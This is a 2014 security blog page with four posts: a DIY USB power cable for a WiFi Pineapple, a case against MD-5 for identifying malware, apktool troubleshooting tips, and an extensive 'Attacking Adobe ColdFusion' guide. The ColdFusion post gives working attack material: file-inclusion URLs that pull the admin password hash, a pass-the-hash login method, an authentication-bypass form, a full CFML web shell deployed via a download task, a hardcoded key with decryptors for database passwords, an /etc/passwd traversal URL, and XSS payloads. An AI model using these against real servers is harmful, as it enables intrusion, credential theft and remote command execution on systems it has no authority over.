Monday, March 31, 2014

USB Power Cable for the Pineapple Mark V

Preface

This quick blog post is about my weekend project from last Saturday. To start with I have bought a Pineapple Mark V from the hak5 shop. The Wi-Fi Pineapple is a special Wi-Fi access point, designed for wireless network auditing with custom, purpose built hardware and software with the capability for extensions. You could make something like this on your own, but the Pineapple has everything pre-configured, so it makes a pentester's life a lot easier.

The basic problem was that the "standard" version of the Pineapple Mark V ships with a wall plug only. When you perform a wireless or mobile pentest, usually you do not have the luxury to have a wall plug, so either you will need a battery package or feed your cure little Pineapple from you laptop.

I have ordered a Pineapple Juice 6800, but the one I got is not charging and even the replacement one I got from the hakshop (big up to the hak5 guys for that one!) does not work either :( (I will try to fix at least one of them later). The USB power cable that you can buy from the hakshop is currently out of stock, but don't be sad, cause it won't work whit the Mark V anyway, as the Mark V need "DC in Variable 5-12V, ~1A" for input while for USB the supplied output by a host (for example a common laptop USB port) is usually around 5V at 500mA (so 0.5A).

The voltage level will not be a problem with a  USB cable (although I am not sure how well for example a USB flash drive would work when you power the Mark V from USB... something I have to test in the future) the current level will not be enough to power the Pineapple. Luckily, Kirchhoff's first law tells us that if we connect 2 wires with 0.5Amps, than the wire leaving the junction should have 1A, which is exactly what we need. :)

The problem is that it is not easy to find a cable with USB Y connector to DC barrel connector, so I took a USB Y cable for a USB 3.0 external HDD, and a USB power cable with a DC barrel connector, and soldered them together to give enough power for my dear little Pineapple Mark V.

Parts Needed

  • A USB Y cable, so the one with two USB connectors at one end and whatever on the other end. Usually external HDD cables are like this, to ensure that you support enough juice for the HDD from the USB port.
  • A cable with a DC barrel 2.1mm ID / 5.5mm OD, center positive connector on one and whatever on the other end :) For example, I got this USB cable from Amazon.
  • Some heat sink tube in order to give a nice look to your final product. You can buy a nice heat sink kit from Sparkfun for example.

Tools needed

  • Flush/diagonal cutters (for cutting the wires)
  • Solder (for soldering, of course)
  • Soldering iron (yep, this one is also for soldering)
  • Hot air solder station (for the heat sink tubes)
  • Third hand with Magnifying Glass (you're gonna need it, otherwise you will have to grow a third hand :) )
  • Good light (no, seriously, this is really important when you solder something!)

Assembly

As soldering wires together is not rocket science, I will basically use the pictures I took to explain what you will have to do.

So here I have my USB Y cable for a USB 3.0 external HDD:


You will have to cut the wire into half, as we need the USB Y end of it. Wires in a USB cable should be color coded, for the USB 2.0 wires, these are: red = VCC, white = D-, green = D+ and black = GND. More on the USB pinouts here.


For me, as I used a USB 3.0 cable, there were two extra shielded twisted pairs:


These are the USB 3.0 additional data cables, also color coded (pinouts here and here), but we won't need them, so never mind these:


Next, my USB power cable with a DC barrel connector:


Nothing magical here, again, we only need the red and black (VCC and GND) wires and this time the DC barrel connector end of the cable:


Before soldering, it is a good idea to test the concept and see if it works:


Looks OK. Now to make a nicely looking cable, I used heat sink tubes, but if you don't care about the looks, you can use insulating tape too:


One final check after the soldering but before the heat sink tubes:


Again, looking good, so first small heat sinks for the wires:


And a heat sink for the cable:


The final test. Works perfectly! (if you are wondering, the keyboard layout is Hungarian...)


Conclusion

The whole process takes about 30-40 mins and requires minimal soldering skills, so you really have no excuse not  to do it yourself if you want to power your Pineapple Mark V from USB and like I wrote at the beginning, you don't really have other option as you cannot find such a cable out there.

Tuesday, March 25, 2014

Stop using MD-5, now!

TL;DR : Don't use MD-5 to identify malware samples. Believe me, it is a bad idea. Use SHA-256 or a stronger hash function.

This post is dedicated to all malware researchers, still using MD-5 to identify malware samples.

Before deep diving into the details, let me explain my view on this topic. Whenever you want to identify a malware, it is only OK to publish the MD-5 hash of the malware if you publish at least the SHA-256 hash of the malware as well. Publishing only the MD-5 hash is unprofessional. If you want to understand why, please continue reading. If you know about the problem, but want to help me spread the word, please link to my site www.stopusingmd5now.com.

By writing articles/posts/etc and publishing the MD-5 hash only, it is the lesser problem that you show people your incompetency about hash functions, but you also teach other people to use MD-5. And it spreads like a disease.... Last but not least, if I find a sample on your blog post, and you use MD-5 only, I can't be sure we have the same sample.

Here is a list to name a few bad examples (order is in Google search rank order):


Introduction to (cryptographic) hash functions

A long time ago (according to some sources since 1970) people started designing hash functions, for an awful lot of different reasons. It can be used for file integrity verification, password verification, pseudo random generation, etc. But one of the most important property of a cryptographic hash function is that it can "uniquely" identify block of data with a small, fixed bit string. E.g. malwares can be identified by using only the hash itself, so everybody who has the same malware sample will have the same hash, thus they can refer to the malware by the hash itself.

It is easy to conclude that there will be always collisions, where different block of data have the same result hashes. The domain (block of data) is infinite, while the codomain (possible hash values) is finite. The question is, how easy is to find two different blocks of data, having the same hash. Mathematicians call this property "collision resistance". Good cryptographic hash functions are collision resistant, meaning it is impractical or impossible to find two different block of data, which have the same hash.

In 1989 Ronald Rivest (the first letter in the abbreviation of the RSA algorithm) designed the MD-2 hashing algorithm. Since 1997 there are publications about that this hashing algorithm is far from perfect.

In 1990 Ronald Rivest designed the MD-4 algorithm, which is considered as broken at least from 1991. But MD-4 is still in use from Windows XP until Windows 8 in the password protocol (NTLM). Unfortunately, there are bigger problems with NTLM besides using MD-4, but this can be the topic of a different blog post.

In 1991 (you might guess who) designed yet another hashing algorithm called MD-5, to replace MD-4  (because of the known weaknesses). But again, in from 1993 it has been shown many times, that MD-5 is broken as well. According to Wikipedia, "On 18 March 2006, Klima published an algorithm [17] that can find a collision within one minute on a single notebook computer, using a method he calls tunneling". This means, that with the 8 years old computing power of a single notebook, one can create two different files having the same MD-5 hash. But the algorithms to generate collisions have been improved since, and "a 2013 attack by Xie Tao, Fanbao Liu, and Dengguo Feng breaks MD-5 collision resistance in 2^18 time. This attack runs in less than a second on a regular computer." The key take-away here is that it is pretty damn hard to design a secure cryptographic hash function, which is fast, but still secure. I bet that if I would design a hash function, Ron would be able to hack it in minutes.

Now, dear malware researcher, consider the following scenario. You as, a malware analyst, find a new binary sample. You calculate the MD-5 hash of the malware, and Google for that hash. You find this hash value on other malware researcher's or on a sandbox/vendor's site. This site concludes that this sample does this or that, and is either malicious or not. Either because the site is also relying solely on MD-5 or because you have only checked the MD-5 and the researcher or sandbox has a good reputation, you move on, and forget this binary. But in reality, it is possible, that your binary is totally different than the one analysed by others. The results of this mistake can scale from nothing to catastrophic.

If you don't believe me, just check the hello.exe and erase.exe on this site from Peter Sellinger. Same MD-5, different binaries; a harmless and a (fake) malicious one... And you can do the same easily at home. No supercomputers,  no NSA magic needed.

On a side-note, it is important to mention that even today it can be hard to find a block of data (in generic), if only the MD-5 hash is known ("pre image resistance"). I have heard people arguing this when I told them using MD-5 as a password hash function is a bad idea. The main problem with MD-5 as a password hash is not the weaknesses in MD-5 itself, but the lack of salt, lack of iterations, and lack of memory hardness. But still, I don't see any reason why you should use MD-5 as a building block for anything, which has anything to do with security. Would you use a car to drive your children to the school, which car has not been maintained in the last 23 year? If your answer is yes, you should neither have children nor a job in IT SEC.

Conclusion

If you are a malware researcher, and used MD-5 only to identify malware samples in the past, I suggest to write it down 1000 times: "I promise I won't use MD-5 to identify malware in the future."

I even made a website dedicated to this problem, www.stopusingmd5now.com . The next time you see a post/article/whatever where malware is identified by the MD-5 hash only, please link to this blog post or website, and the world will be a better and more professional place.


PS: If you are a forensics investigator, or software developer developing software used in forensics, the same applies to you.
PS 2: If you find this post too provocative and harsh, there is a reason for this ...

Update: I have modified two malware (Citadel, Atrax) with the help of HashClash, and now those have the same MD-5. Many thanks for Marc Stevens for his research, publishing his code, and help given during the collision finding.

Saturday, March 22, 2014

Troubleshooting tips for xdaAutoTool and APK-Multi-Tool

Preface

Yesterday I was about to patch an Android App. Classical way to do this is using apktool, but there are other, more convenient tools to do the "decompile to smali --> modify smali code --> recompile modified code --> build APK --> sign APK" task list.

One of these tools is xdaAutoTool, the other popular one is APK-Multi-Tool (the updated version of APK Manager). I personally prefer xdaAutoTool cause it has a nice GUI interface, and you can browse the decompiled smali code from the tool itself. APK-Multi-Tool has a command line interface, but it seems to be less buggy and more stable so it is also quite useful.

If you are like me and you do not take a Java stack trace for an answer, I have collected a few tips how can you get xdaAutoTool up and running (and once you do these steps, APK-Multi-Tool also works perfectly), so you do not have to dig in the xda developpers forum for answers.

Troubleshooting

  1. Make sure INSTALLDIR does not contain white spaces, special characters, etc. Best is to copy it under the root directory, so something like this: C:\xdaAutoTool_V4.0.3
  2. Run the INSTALLDIR\xdaAutoTool_V4.0.3\Res\AAA_register_ocx.bat batch file as Administrator and make sure you are in the Res directory when you execute AAA_register_ocx.bat
  3. The current version of xdaAutoTool ships with old apktool JAR files, so copy latest apktool and apktool framework to INSTALLDIR\xdaAutoTool_V4.0.3\bin
  4. The apktool.jar you have just copied must be renamed to apktool_VERSION.jar (so like apktool_1.5.2.jar), otherwise xdaAutoTool will not find it, and you will not be able to select it for decompiling / recompiling.
  5. If you have already tried to execute xdaAutoTool before, also make sure that you delete USERDIR\apktool directory.
  6. For the error: "Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec command: [aapt, ..." you have to either copy aapt.exe out from the INSTALLDIR\xdaAutoTool_V4.0.3\bin to INSTALLDIR\xdaAutoTool_V4.0.3\ either specify the location of aapt.exe in your PATH environment variable (so put INSTALLDIR\xdaAutoTool_V4.0.3\bin in the PATH variable).
That's it! Let me know in the comments if there are other errors + solutions so we can have the most common ones in one place.

Happy hacking!

Wednesday, March 19, 2014

Attacking Adobe ColdFusion

Preface

Recently, I have been working in an environment with lots of Adobe ColdFusion installations, most of them unpatched, having nice, exploitable vulnerabilities. You can find almost everything about hacking ColdFusion on different blogs / forums / etc. but for convenience, I wanted to collect those tricks that I was able to use in real life. Please let me know if you have something else and I might update the post :).

BTW, according to RSA, ColdFusion hacking is actually an "Emerging Threat" [1] and look like bad guys also see a nice opportunity [2] here.

ColdFusion

First of all, what the hell is ColdFusion? ColdFusion is basically just yet another commercial web application development platform. The programming language used with that platform is also commonly called ColdFusion, but the correct name of it is ColdFusion Markup Language (CFML).

Multiple commercial and open source implementations of CFML engines are available, including Adobe ColdFusion, New Atlanta BlueDragon, Railo, Open BlueDragon and so on. However, in this blog post we will focus on Adobe ColdFusion since that is the most widespread one.

CFML itself was originally an interpreted language using Java backend (well, mostly, but BlueDragon has a .NET-based version too, and anyways, we are talking about Adobe ColdFusion now) but it became a compiled one, so CFML code now compiles directly to Java byte code. ColdFusion Markup Language allows direct access to Java via its cfscript tags, while also offering a simple web wrapper.

Vulnerabilities against ColdFusion application are the typical ones so you can find Local File Disclosure (LFD), SQL injection and Cross-site Scripting as well. And of course, ColdFusion by default runs as NT-Authority\SYSTEM (Windows) or nobody (Linux), thus making the ColdFusion+Windows combination a very desirable target.

Authentication Bypass (APSB10-18 and APSB13-03)

Our ultimate goal when we attack ColdFusion is basically to gain administrator access to the management interface so we can upload a shell (yeay!). You need to use different exploits in order to bypass the administrative login, depending on the ColdFusion version you are facing.

ColdFusion 6, 7, 8 (APSB10-18)


In unpatched versions of ColdFusion 6, 7 and 8 there is a local file inclusion vulnerability (APSB10-18) which you can exploit to get the administrator password hash from the password.properties file.

ColdFusion 6:
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%en

ColdFusion 7:
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%en

ColdFusion 8:
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%en

All versions (according to this site [3], but I have never tried it):
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%en

If the local file inclusion is successful, the password hash (SHA1) is written back to you on the administrative login page like this (hash was reducted):


Cracking the password hash

According to the RSA experts: "After obtaining this password hash, Shell_Crew was able to recover the password associated with the administrative account, likely by using pre-computed rainbow tables."

Well, indeed, now that you have the hash, you might as well try to crack it, but for example in case of ColdFusion 8 (which is shown in the RSA report), I only suggest doing this whether if you are really-really into password cracking, because otherwise there is no real need to crack the hash in order to access the administrative page.

Using the password hash to login

As pointed out by Niels Teusink few years ago (I have found it on this blog [4]), an attacker does not need to crack the SHA1-hash, as the ColdFusion login screen does the following when you submit your password (actually, you can see with your own eyes that some javascript magic is happening in the password field when you submit the login credentials):

onSubmit="cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));"

Focus on the last part please... yep, that is right. Once you have the password hash, you can just put the hash value instead of hex_sha1(cfadminPassword.value) and this allows you to login into ColdFusion using only the hash... lame isn't it?

Here are the steps you need to take in order to login as administrator:
  1. Start capturing traffic using Burp (or whatever attack proxy you like).
  2. Enter the password hash into the password field of the login form.
  3. If you are using Firefox hit Ctrl+Shift+K, for Chrome, hit Ctrl+Shift+J to get the JavaScript console and if you are using Internet Explorer; stop using it and start using a real browser! :)
  4. Enter the following JavaScript code in the console:
    javascript:alert(hex_hmac_sha1(document.loginform.salt.value, document.loginform.cfadminPassword.value))
    
    Here is a screenshot of the JavaScript code in action (yes, it is from the PWB course, I was lazy to take new screenshots):

  5. Record value that you got, and go back with your browser back button.
  6. Set Burp to intercept, click on the Login button at ClodFusion and catch the login request in Burp.
  7. Replace the value of the cfadminPassword parameter with the value you have recorded above.
  8. Forward the modified request and do your happy dance.

ColdFusion 9 and 10 (APSB13-03)


I really like this one, but I need to explain a few things first.

ColdFusion have a component called Remote Development Services (RDS) which is a security component used by the ColdFusion Administrator and ColdFusion Studio to provide remote HTTP-access to files and databases for the developers. For example, the ColdFusion Administrator API CFC contains basic Administrator functionality, such as login, logout, the Migration wizard or the Setup wizard.

One of the parameters in the Administrator API login function is called "rdsPasswordAllowed", and it defines if the user is allowed to login and access the adminapi with the RDS password. The problem is that in Adobe ColdFusion versions 9.0, 9.0.1, 9.0.2 and even in 10, the login function never checks if RDS is enabled when it is invoked with rdsPasswordAllowed="true" (APSB13-03).

This means that if RDS was not configured (most cases), the RDS user does not have a password associated with their username and by setting rdsPasswordAllowed to "true" and invoking the login function, we can bypass the admin login and use the rdsPassword, which in most cases (as RDS was not configured), is blank. For more details, check the description of Scot Buckel's exploit [5]!

And here is the code you can use:

<form action="http://[HOSTNAME:PORT]/CFIDE/adminapi/administrator.cfc?method=login" method="post">
<input name="adminpassword" type="hidden" value="" />
    <input name="rdsPasswordAllowed" type="hidden" value="1" />
    <input type="submit" />
</form>

All you have to do copy this into an empty file with .html extension, replace [HOSTNAME:PORT] with your target's address, drag the file into the browser, hit the "Submit Query" button and navigate to your targets ColdFusion administrator login page. Tada! You are now logged in as administrator! :)

Uploading a CFM shell

Once we got access to the administrative panel, we can finally upload a malicious CFML script that would allow us to run OS commands (hopefully with SYSTEM / root privileges).

This process is analogue to the process when you, for example, deploy a JSP shell, but the way you do it is a little different. We need to go to the "Debugging & Loging / Scheduled Taks" menu element and add a scheduled task that would download our CFML script from our webserver to the ColdFusion server’s webroot. Make sure you schedule the deployment to some reasonable time, so 5-10 minutes from your current time - no one likes to wait for free shells, right?

Here is an example on how it looks like:


You can find a few CFML shells for example here. I like to use this one from Kurt Grutzmacher:

<html>
<body>

Notes:<br><br>
<ul>
<li>Prefix DOS commands with "c:\windows\system32\cmd.exe /c <command>" or wherever cmd.exe is<br>
<li>Options are, of course, the command line options you want to run
<li>CFEXECUTE could be removed by the admin. If you have access to CFIDE/administrator you can re-enable it
</ul>
<p>
<cfoutput>
<table>
<form method="POST" action="cfexec.cfm">
<tr><td>Command:</td><td><input type=text name="cmd" size=50 
  <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50 
  <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4 
  <cfif isdefined("form.timeout")>value="#form.timeout#"
  <cfelse>value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec">
</form>

<cfif isdefined("form.cmd")>
  <cfsavecontent variable="myVar">
  <cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout = "#Form.timeout#"> </cfexecute>
  </cfsavecontent>
  <pre> #myVar# </pre>
</cfif>
</cfoutput>
</body>
</html>

And it looks like this once it is uploaded (I had to use the Options fields to fit in the screenshot):


Getting database passwords from Data Sources


Once you have access to the administrative panel, you can also get the connection strings and credentials to databases connected to ColdFusion. Depending again on the ColdFusion version, the credentials are stored in different places, but you might be able to retrieve the passwords from the administrative panel as well! :)

For ColdFusion 6 and 7 the passwords for DataSources encrypted in the following XML files:
[ColdFusion_Install_Dir]\lib\neo-query.xml
For ColdFusion 8, 9 and 10:
[ColdFusion_Install_Dir]\lib\neo-datasource.xml

Hernan Ochoa (Hexale) wrote a great blogpost [6] on how the passwords for the data stores are being encrypted, so I will not go into details. The most important thing is that by decompiling \lib\cfusion.jar and looking at the \coldfusion\sql\DataSourceDef.class, you can find the seed for the key ("0yJ!@1$r8p0L@r1$6yJ!@1rj") and algorithm (3DES and then Base64 encoding) used.

In case of ColdFusion 6, 7 and 8, the encrypted passwords can be found just by looking at the page source of the individual data sources on the administrative panel (on ColdFusion 9 and 10 this was fixed and you will only see ******** in the page source for the passwords).

No matter how you obtain the encrypted passwords, you can decrypt them with openSSL like this:

echo [encrypted_and_base64_encoded_password] | openssl des-ede3 -a -d -K 30794A21403124723870304C4072312436794A214031726A -iv 30794A2140312472; echo

or, with the python script of Hernan Ochoa (I had to do a small fix in it, oh and you will need pyDes for it):

import pyDes
import base64
import sys

print "Coldfusion v7 y v8 DataSource password decryptor (c) 2008 Hernan Ochoa (hernan@gmail.com)"
print " "

if len(sys.argv) <> 2:
print "syntax: coldfusion_ds_decrypt.py "
exit(0)

pwd = sys.argv[1]
key = "0yJ!@1$r8p0L@r1$6yJ!@1rj"

k = pyDes.triple_des(key)
d = k.decrypt( base64.decodestring(pwd), "*")

print "decrypted password: " + d

or, you can just use a CFML like this one from Paul Hassinger:

<h1>ColdFusion Datasources</h1>
 
<cfscript>
 
// Create datasource object
variables.datasourceObject=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
 
// Loop through datasources
for(variables.dataource in variables.datasourceObject) {
 if(len(variables.datasourceObject[variables.datasource]["password"])){
 
  // Set username
  variables.username = variables.datasourceObject[variables.datasource]["username"];
 
  // Set decrypted password
  variables.decryptedPassword = Decrypt(variables.datasourceObject[variables.datasource]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64");
 
  // Output datasource information
  writeoutput("<p><strong>" & "Datasource: " & variables.datasource & "</strong><br />"); 
  writeOutput("Username: " & variables.username & "<br />"); 
  writeOutput("Password: " & variables.decryptedPassword & "</p>"); 
 }
}
</cfscript>

Directory Traversal (APSA13-03)


With this vulnerability, you can pull files from the ColdFusion 9 server, because you deserve it. ;) This one is a combination of two vulnerabilities:
  • First, there is a directory traversal vulnerability in /administrator/mail/download.cfm that allows a remote, authenticated attacker to download arbitrary files.
  • Second, a local file includsion vulnerability exists in /adminapi/customtags/l10n.cfm and a remote, unauthenticated attacker could exploit this to execute local cfm files.
So with these two together you basically have an arbitrary file retrieval vulnerability.

Exploitation has never been easier:

http://[TARGET_HOST]/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/passwd

Administrator page Cross-site Scripting (APSB09-12 and APSB10-11)


If the APSB10-18 directory traversal fails for some reason, do not be upset, cause they might forget to patch against APSB09-12 or APSB10-11 and they have multiple reflected XSS vulnerabilities for ColdFusion 8.0, 8.0.1, 9.0 and earlier versions.

The problem is that "searchlog.cfm",  "_logintowizard.cfm", "_authenticatewizarduser.cfm", "enter.cfm", "cfadminpassword.cfm" and "index.cfm" do not sanitize the query string of the URL, which could result in the injection of HTML or script code, so you can use these to social engineer a user into requesting a malicious URL and hopefully get the administrator cookie for ColdFusion.

The "cfadminUserId" POST parameter is also vulnerable to XSS according to Tenable.

The example PoC links from Digital Security Research Group:


http://[HOSTNAME:PORT]/CFIDE/wizards/common/_logintowizard.cfm?>'"><script>alert('XSS')</script>
http://[HOSTNAME:PORT]/CFIDE/wizards/common/_authenticatewizarduser.cfm?>'"><script>alert('XSS')</script>
http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?>'"><script>alert('XSS')</script>
http://[HOSTNAME:PORT]/CFIDE/administrator/logviewer/searchlog.cfm?viewShort=0&sortBy=&filter=CurrentFilter&startRow=22%22%20%20STYLE=%22background-image:url(javascript:alert(%27%58%53%53%27))%22%3E
http://[HOSTNAME:PORT]/CFIDE/administrator/index.cfm?>"><script>alert("XSS")</script>

ColdFusion 8 FCKeditor (APSB09-09)

Unfortunately, I never had the chance to try out this one (although I have already seen CF8 installations vulnerable to this), but FCKEditor is included as part of ColdFusion 8 and it could allow a remote attacker to upload files in arbitrary directories which could lead to a system compromise (APSB09-09).

Exploit code is on SecurityFocus, but there is also a Metasploit module that you can use (see below).

Nessus

If you want to find all the vulnerable Adobe ColdFusions with Nessus, I have bad news; in my experience, that thing most of the time only picks up these two vulnerabilities:
  • Adobe ColdFusion Multiple Vulnerabilities (APSB13-03)
  • Adobe ColdFusion = 8.0.1 Multiple XSS
So if you see those, make sure you check the more severe vulnerabilities too! Looks like, it is easy to miss these vulns, if you are only a nessus monkey... [7]

Metasploit

At the end of the day, you might also consider using Metasploit to exploit some of the above vulnerabilities:


Also, make sure you check exploit-db.com too!

Other good stuff

Of course, Chris Gates (Carnal0wnage) already did it, check out his slides and the video. As always, it is awsome :).

Chris Eng and Brandon Creighton also made a nice paper for Blackhat 2010. Video of the talk is here.

Make sure you check out Andy Davis' presentation on ColdFusion Security too!

UPDATE: A reddit user with the nick "le_ironic_username" recommended the tool Clusterd for exploitation. Looks very promising, gotta try it some time :)

UPDATE2: A nice technique - LFI to Shell in Coldfusion 6-10

References

[1] RSA Incident Response: Emerging Threat Profile - Shell_Crew (January 2014)
http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf

[2] Thieves Jam Up Smucker’s, Card Processor
http://krebsonsecurity.com/2014/03/thieves-jam-up-smuckers-card-processor/

[3] Blackhatlibary - ColdFusion Hacking
http://www.blackhatlibrary.net/Coldfusion_hacking

[4] GNUCITIZEN - Coldfusion Directory Traversal FAQ (CVE-2010-2861)
http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

[5] Exploit-DB: Adobe ColdFusion 9 Administrative Login Bypass
http://www.exploit-db.com/exploits/27755/

[6] How to decrypt Coldfusion datasource passwords
http://hexale.blogspot.be/2008/07/how-to-decrypt-coldfusion-datasource.html

[7] The Long Tail of ColdFusion Fail
http://krebsonsecurity.com/2014/03/the-long-tail-of-coldfusion-fail/